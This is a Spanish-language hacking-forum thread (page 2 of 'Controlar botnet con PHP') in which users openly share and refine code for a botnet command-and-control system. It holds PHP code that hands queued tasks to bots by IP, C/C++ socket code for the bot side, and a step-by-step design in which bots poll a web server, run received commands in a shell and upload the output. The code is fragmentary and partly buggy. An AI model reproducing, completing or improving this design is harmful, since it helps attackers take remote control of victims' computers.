elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: AIO elhacker.NET 2021 Compilación herramientas análisis y desinfección malware


+  Foro de elhacker.net
|-+  Programación
| |-+  Desarrollo Web
| | |-+  PHP (Moderador: #!drvy)
| | | |-+  Controlar botnet con PHP
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: 1 [2] 3 4 5 Ir Abajo Respuesta Imprimir
Autor Tema: Controlar botnet con PHP  (Leído 10,140 veces)
Vaagish


Desconectado Desconectado

Mensajes: 875



Ver Perfil
Re: Controlar botnet con PHP
« Respuesta #10 en: 16 Septiembre 2014, 19:51 pm »

Esto es una pequeña parte de un proyecto que arme hace un tiempo ya..

Código
  1. if($_POST){
  2.  
  3. $Request = $_POST['A'];
  4.  
  5. switch($Request){
  6.  
  7. case "TS":
  8. // Actualizar / Pedir tareas
  9. $IP = $_POST['B'];
  10.  
  11. $Result = mysqli_query($Connex, "SELECT Tareas, Path FROM bots WHERE Ip = '$IP'");
  12.  
  13. if(!mysqli_num_rows($Result))
  14. {
  15. echo "RH\0";
  16. break;
  17. }
  18.  
  19. $TIME = date("H:i:s");
  20. mysqli_query($Connex, "UPDATE bots SET Actualizacion = '$TIME' WHERE Ip = '$IP'");
  21.  
  22. $row = mysqli_fetch_assoc($Result);
  23.  
  24. if($row['Tareas'])
  25. {
  26. if ($row['Tareas'] == "EX" || $row['Tareas'] == "AI" || $row['Tareas'] == "SM" || $row['Tareas'] == "GT")
  27. {
  28. echo $row['Tareas']." ".$row['Path']."\0";
  29. }else{
  30. echo $row['Tareas']."\0";
  31. }
  32. }
  33. $Result = mysqli_query($Connex, "UPDATE bots SET Tareas = '' WHERE Ip = '$IP'");
  34. break;

Bueno, no esta completo el ejemplo.. es una porcion, pero creo que es la porcion mas importante..  ;)

Y en C++ precisas algo asi..

Código
  1. // OVERLOAD SENDREQUEST
  2. /* ****************************** */
  3. int SendRequest(SOCKET s, char *data1, char *data2)
  4. {
  5. char HOST[200] = "\0";
  6. char LEN[100] = "\0";
  7. char BUFFER[2048] = "\0";
  8.  
  9. sprintf_s(HOST, sizeof(HOST), HTTPHEAD, "/php/core.php", "TUHOST");
  10. sprintf_s(B1, sizeof(B1), HTTPTEXT, "form-data", "A");
  11. sprintf_s(B2, sizeof(B2), HTTPTEXT, "form-data", "B");
  12.  
  13. sprintf_s(LEN, sizeof(LEN), HTTPLENG, strlen(B1) + strlen(B2) + strlen(data1) + strlen(data2) + strlen(HTTPENDS) + 2);
  14.  
  15. strcat(BUFFER, HOST);
  16.  
  17. strcat(BUFFER + strlen(BUFFER), LEN);
  18. strcat(BUFFER + strlen(BUFFER), B1);
  19. strcat(BUFFER + strlen(BUFFER), data1);
  20. strcat(BUFFER + strlen(BUFFER), "\r\n");
  21. strcat(BUFFER + strlen(BUFFER), B2);
  22. strcat(BUFFER + strlen(BUFFER), data2);
  23. strcat(BUFFER + strlen(BUFFER), HTTPENDS);
  24.  
  25. send(s, BUFFER, strlen(BUFFER), 0);
  26.  
  27. return 0;
  28. }

No voy a entrar en las cabeceras HTML, porque recuerdo que costo bastante, y resolverlo me dio una alegria inmensa, asi que dejo para que te alegres vos tambien..  ;D

Saludos!


En línea

Kaxperday


Desconectado Desconectado

Mensajes: 702


The man in the Middle


Ver Perfil WWW
Re: Controlar botnet con PHP
« Respuesta #11 en: 16 Septiembre 2014, 23:19 pm »

Gracias Vaagish, me podrías explicar ¿como funciona tu código? Mi interpretación es que el cliente manda un POST y el PHP en función a lo que le manda trabaja sobre bases de datos (cosas que no he dado). No entiendo para que funciona. Yo solo busco algo tan simple y complejo como enviar una cadena desde un servidor PHP a un cliente C. Pero no entiendo, si el server manda una cadena al cliente, en este caso el server sería el cliente, un lío.

Código de un server PHP:

http://www.codeproject.com/Tips/418814/Socket-Programming-in-PHP

Código
  1. <?
  2. $host = "127.0.0.1";
  3. $port = 5353;
  4. // No Timeout
  5. $socket = socket_create(AF_INET, SOCK_STREAM, 0) or die("Could not create socket\n");
  6. $result = socket_bind($socket, $host, $port) or die("Could not bind to socket\n");
  7. $result = socket_listen($socket, 3) or die("Could not set up socket listener\n");
  8. $spawn = socket_accept($socket) or die("Could not accept incoming connection\n");
  9. //abajo lee el mensaje del cliente.
  10. $input = socket_read($spawn, 1024) or die("Could not read input\n");
  11. //abajo invierte la cadena recibida y la manda al cliente BIEN SABEMOS MANDAR ALGO
  12. //AL CLIENTE!
  13. $output = strrev($input) . "\n";
  14. socket_write($spawn, $output, strlen ($output)) or die("Could not write output\n");
  15. socket_close($spawn);
  16. socket_close($socket);
  17. ?>
  18.  

Ahora observo el ejemplo de cliente que usa la página, está en PHP pero trataré de pasarlo a C aquí abajo:

Código
  1. /*headers...*/
  2. #define IP 80.234.23.123
  3. #define PUERTO 80
  4. int main()
  5. {
  6. WSADATA wsa;
  7.    int sok,len,i=0;
  8. char *buf="holaa",baf[100];
  9.    struct sockaddr_in dir;
  10. WSAStartup(MAKEWORD(2,0),&wsa);
  11.    if((sok=socket(AF_INET,SOCK_STREAM,0))==-1){}
  12.    else{
  13.        dir.sin_family=AF_INET;
  14.        dir.sin_port=htons(PUERTO);
  15.        dir.sin_addr.s_addr=inet_addr(IP);
  16. connect(sok,(struct sockaddr*)&dir,sizeof(dir));
  17. write(sok,buf,strlen(buf));
  18. recv(sok,baf,strlen(baf));
  19. closesocket(sock);
  20. return 0;
  21. }
  22.  

Gente creo que me ha quedado bastante bien el cliente y el server que era lo que buscaba, ahora a probarlo que esa es otra, pero no esta mal traduciendolo de PHP a C he aprendido bastantes cosas, si me dejo algo decidme, seguire trabajando.

Edito: El server web debería solo de poder escuchar peticiones en el puerto 80, pues supongo que no se le podrán abrir otros puertos al ser servidor gratuito, pero ese es el mismo puerto para http, funcionaría? no sé

Edito: Como va a funcionar si no estoy indicando el php con el que quiero trabajar... haber.

Saludos


« Última modificación: 16 Septiembre 2014, 23:44 pm por Kaxperday » En línea

Cuando el poder económico parasita al político ningún partido ni dictador podrá liberarnos de él. Se reserva el 99% ese poder.
Vaagish


Desconectado Desconectado

Mensajes: 875



Ver Perfil
Re: Controlar botnet con PHP
« Respuesta #12 en: 17 Septiembre 2014, 00:26 am »

Hi! Lo que yo hice en mi momento fue hacer POST, cada 30's al web server, este se fija en la base de datos si ya tiene guardado al cliente (mediante su IP), si el cliente ya estaba en esa base de datos, busco una tarea para enviarle, esto lo hace el "echo", yo al principio creía que se iba a escribir el comando para cada uno de los bots conectados, pero para mi sorpresa, funciona para el cliente "conectado" en ese momento, es como tener "una versión de la pagina" para cada cliente ;)

Bueno, el asunto mas complejo es que los REQUEST'S que envía C++, son protocolo HTML, este protocolo (al igual que todos, creo) No es complicado, lo complicado es no cometer errores,, por ej: Un espacio de mas, o un Content Length con un byte menos (o mas) que el exacto...

Sobre los Socket en C++ deberias seguir el hilo en el subforo de C++, seria lo correcto y en donde hay mas información..

Suerte! Saludos!

PD: Creo que el uso de Base de Datos es fundamental para este tipo de situaciones,, de otra forma no se me ocurre...  :silbar:
En línea

Kaxperday


Desconectado Desconectado

Mensajes: 702


The man in the Middle


Ver Perfil WWW
Re: Controlar botnet con PHP
« Respuesta #13 en: 17 Septiembre 2014, 00:38 am »

Ya veo, tu botnet al parecer era pasiva, los bot mandaban un POST y en función de su estado se les asignaba una tarea, pero sin embargo tiene una cosa que me interesa, háblame acerca del echo, ¿es necesario para enviar la "tarea al bot" (que sería la cadena al cliente que llevo buscando dónde iría el comando) estar trabajando con una base de datos? De no ser así, me gustaría como capta la orden el cliente que se inicia a partir del echo.

PD: No tengo idea de base de datos podría ponerme también a ello, pero paso de sacarme la carrera en una semana que a este ritmo XDD

Gracias y saludos.

Edito: Estoy con ello jajaja, acabo de probar un cliente en el servidor, a ese cliente le paso las ips del archivo y va mandando los comandos uno a uno jajaja, me parto he dado a enviar comando con el server c abierto y se ha quedado cargando la página en plan adiós jajaja
« Última modificación: 17 Septiembre 2014, 13:48 pm por Kaxperday » En línea

Cuando el poder económico parasita al político ningún partido ni dictador podrá liberarnos de él. Se reserva el 99% ese poder.
Kaxperday


Desconectado Desconectado

Mensajes: 702


The man in the Middle


Ver Perfil WWW
Re: Controlar botnet con PHP
« Respuesta #14 en: 17 Septiembre 2014, 14:19 pm »

Vamos a ver, el código creo que no está mal, si no funciona por un fallo me daría una alegría, si lo es por limitaciones del servidor es otra historia.

Haber en el bot.php tengo el siguiente script:

Código
  1. <?
  2. $comando = $_GET['com'];
  3. $bot = $_GET['bot'];
  4. $port=5748;
  5.  
  6. $socket = socket_create(AF_INET, SOCK_STREAM, 0) or die("Could not create socket\n");
  7. $result = socket_connect($socket, $bot, $port) or die("Could not connect toserver\n");
  8. socket_write($socket, $comando, strlen($message)) or die("Could not send data to server\n");
  9. socket_close($socket);
  10. }
  11. ?>
  12.  

Esto lo que hace es que cuando yo pulse ok, y envíe las variables $comando y $bot, el script se ejecuta y se mandan los datos a los servidores C.

Servidor C:

Código
  1.  
  2. #define IP "ip del server"
  3. #define PUERTO 5748
  4.  
  5. int main()
  6. {
  7.    WSADATA wsa;
  8.    int fd, fd2;
  9.    struct sockaddr_in server;
  10.    struct sockaddr_in client;
  11.    int sn_size;
  12.    char buf[60];
  13.  
  14.    WSAStartup(MAKEWORD(2,0),&wsa);
  15.  
  16.    if ((fd=socket(AF_INET, SOCK_STREAM, 0))==1)
  17.    {
  18.        printf ("Error en socketn" );
  19.        exit(-1);
  20.    }
  21.  
  22.    server.sin_family = AF_INET;
  23.    server.sin_port=htons(PUERTO);
  24.    server.sin_addr.s_addr=INADDR_ANY;
  25.    //bzero(&(server.sin_zero),8);
  26.    if (bind(fd,(struct sockaddr *) &server, sizeof(struct sockaddr))== -1)
  27.    {
  28.        printf("Error en bindn" );
  29.        exit(-1);
  30.    }
  31.  
  32.    if (listen(fd, 1) == -1)
  33.    {
  34.        printf("Error en listenn" );
  35.        exit(-1);
  36.    }
  37.  
  38.    printf("entro while ok");
  39.    while (1)
  40.    {
  41.        sn_size = sizeof(struct sockaddr_in);
  42.  
  43.        if ((fd2=accept(fd,(struct sockaddr *)&client, &sn_size)) == -1)
  44.        {
  45.            printf ("error en accept n" );
  46.            exit(-1);
  47.        }
  48.        recv(fd,buf,50,1);
  49.        printf("Comando recibido: %s",buf);
  50.        printf("Se conectaron desde %s\n", inet_ntoa(client.sin_addr));
  51.        close(fd2);
  52.    }
  53.    return 0;
  54. }
  55.  

Buendo gente esto es todo, lo que pasa ahora es que al ejecutar el script no me llegan datos al servidor, no muestra el mensaje recibido, espero que vosotros sepáis a que se debe ya estoy cerca.

Edito: OMG no me deja acceder a la página web, no me carga, he accedido con un proxy y va sin problemas, ¿que cojones?

Edito: Después de todo, el **** hosting al parecer no me deja correr el script,
cuando detecta que inicias comunicación una máquina con sockets deniega el acceso a esa ip, una media hora o más... 2 veces he probado corriendo el servidor en mi ordenador las 2 al pasar 1 minuto no podía acceder a la página con mi ip, si con proxy y demás... Luego si ese código no funciona habrá que hacer la botnet pasiva, pues ya vemos que el servidor web, no es capaz de correr un cliente php...
El socket del cliente php se creo, se creo la conexion y no supe ya más, no me deja entrar en la página  :laugh: :laugh: :laugh:


Salu2.
« Última modificación: 17 Septiembre 2014, 18:47 pm por Kaxperday » En línea

Cuando el poder económico parasita al político ningún partido ni dictador podrá liberarnos de él. Se reserva el 99% ese poder.
Kaxperday


Desconectado Desconectado

Mensajes: 702


The man in the Middle


Ver Perfil WWW
Re: Controlar botnet con PHP
« Respuesta #15 en: 17 Septiembre 2014, 19:26 pm »

Resumo todo, la idea que tenía era:

1-Que los bots clientes hiciesen POST y se les guardase su nombre de usuario e IP en un archivo, ese archivo se iría refrescando cada minuto (se borra y quedan guardados los que sigan haciendo POST).

2-Yo accedería a la página web iniciaría sesión, cargaría en variables los comandos a ejecutar sobre los bots, y entonces el PHP mediante sockets, iría recorriendo el archivo con los usuarios y las IPs conectadas y haría un write para pasar el comando al bot.

3-El bot recibiría el comando lo ejecutaría en una shell, guardaría el resultado en un archivo usuariodata.txt, que lo subiría por POST a el server, el server lo lee y muestra el resultado.

Eso sería todo, estoy atascado en el punto 2, en el envío del comando desde la página web al servidor. Porque el ** ******* hosting gratuito parece que no me deja, ¿alguna alternativa?

Saludos
« Última modificación: 17 Septiembre 2014, 19:29 pm por Kaxperday » En línea

Cuando el poder económico parasita al político ningún partido ni dictador podrá liberarnos de él. Se reserva el 99% ese poder.
daryo


Desconectado Desconectado

Mensajes: 1.070



Ver Perfil WWW
Re: Controlar botnet con PHP
« Respuesta #16 en: 17 Septiembre 2014, 19:32 pm »

olvidate de manejar sockets desde el servidor , no hace falta (como lo estas haciendo), personaliza la salida dependiendo la ip si quieres . pero el recorrido del servidor sobra , que cada bot se vaya conectando al servidor y lea el comando y ahi si lo ejecute.
En línea

buenas
MinusFour
Moderador Global
***
Desconectado Desconectado

Mensajes: 5.529


I'm fourth.


Ver Perfil WWW
Re: Controlar botnet con PHP
« Respuesta #17 en: 17 Septiembre 2014, 19:33 pm »

La forma en la que tienes planeada tu botnet no creo que llegue a funcionar. Hoy en día todo mundo se esconde detrás de un router con un firewall que bloquean puertos de entrada.

La comunicación que tienes pensada entre la botnet y tú, es basicamente que actues tu como cliente y que ellos actuen como servidor. (Tu les envias un comando a los servidores directamente).

La mayoria de las botnets funcionan teniendo a todos los bots (clientes) conectados a un servidor y otro cliente con permisos especiales envia al servidor un comando y el comando lo dispersa a los demas clientes bots.
En línea

daryo


Desconectado Desconectado

Mensajes: 1.070



Ver Perfil WWW
Re: Controlar botnet con PHP
« Respuesta #18 en: 17 Septiembre 2014, 19:40 pm »

si a ver
que tal algo asi:

1. el bot se conecta cada 40 segundos busca al servidor esperando comandos por medio del protocolo http puerto 80

2.el servidor en caso de que no existe la ip la registra , en caso de que exista busca un comando que este para esa ip , lo muestra(el comando) en texto plano igual por el protocolo http

3.el bot ve el comando y lo ejecuta envia la salida por post

4. el servidor recibe la salida del comando por post la guarda y la muestra en el panel de control
En línea

buenas
Vaagish


Desconectado Desconectado

Mensajes: 875



Ver Perfil
Re: Controlar botnet con PHP
« Respuesta #19 en: 17 Septiembre 2014, 19:44 pm »

Citar
La mayoria de las botnets funcionan teniendo a todos los bots (clientes) conectados a un servidor y otro cliente con permisos especiales envia al servidor un comando y el comando lo dispersa a los demas clientes bots.
+1

Si,, ademas, los sockets en servidores webs (por lo general, desconozco todos los hostings que existen) No están permitidos, por seguridad..

Con echo funciona perfecto.. lo podes enviar para cada uno de los clientes o para todos,, pero como dice MinusFour, una botnet "avanzada", mandaria un comando a uno (o varios) clientes, y entre ellos se reenvian el comando.. estilo P2P.

PD: Creo que eso quiso decir MinusFour y asi lo entendi de otra lectura por la web..

Saludos!
En línea

Páginas: 1 [2] 3 4 5 Ir Arriba Respuesta Imprimir 

Ir a:  

Mensajes similares
Asunto Iniciado por Respuestas Vistas Último mensaje
XRayBNT Botnet P2P « 1 2 »
Análisis y Diseño de Malware
Jaixon Jax 17 12,111 Último mensaje 29 Junio 2010, 22:56 pm
por Jaixon Jax
[Botnet]¿Es necesaria un VPS?
Análisis y Diseño de Malware
VCore 2 4,394 Último mensaje 20 Octubre 2010, 04:12 am
por VCore
Problema con Botnet IRC
Programación Visual Basic
illuminat3d 1 2,163 Último mensaje 17 Noviembre 2010, 15:18 pm
por illuminat3d
que botnet es el mas popular « 1 2 3 »
Análisis y Diseño de Malware
snIPER1 22 19,907 Último mensaje 14 Septiembre 2015, 03:11 am
por MCKSys Argentina
Desmantelan la segunda botnet Hlux/Kelihos Botnet
Noticias
wolfbcn 0 2,524 Último mensaje 31 Marzo 2012, 13:58 pm
por wolfbcn
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines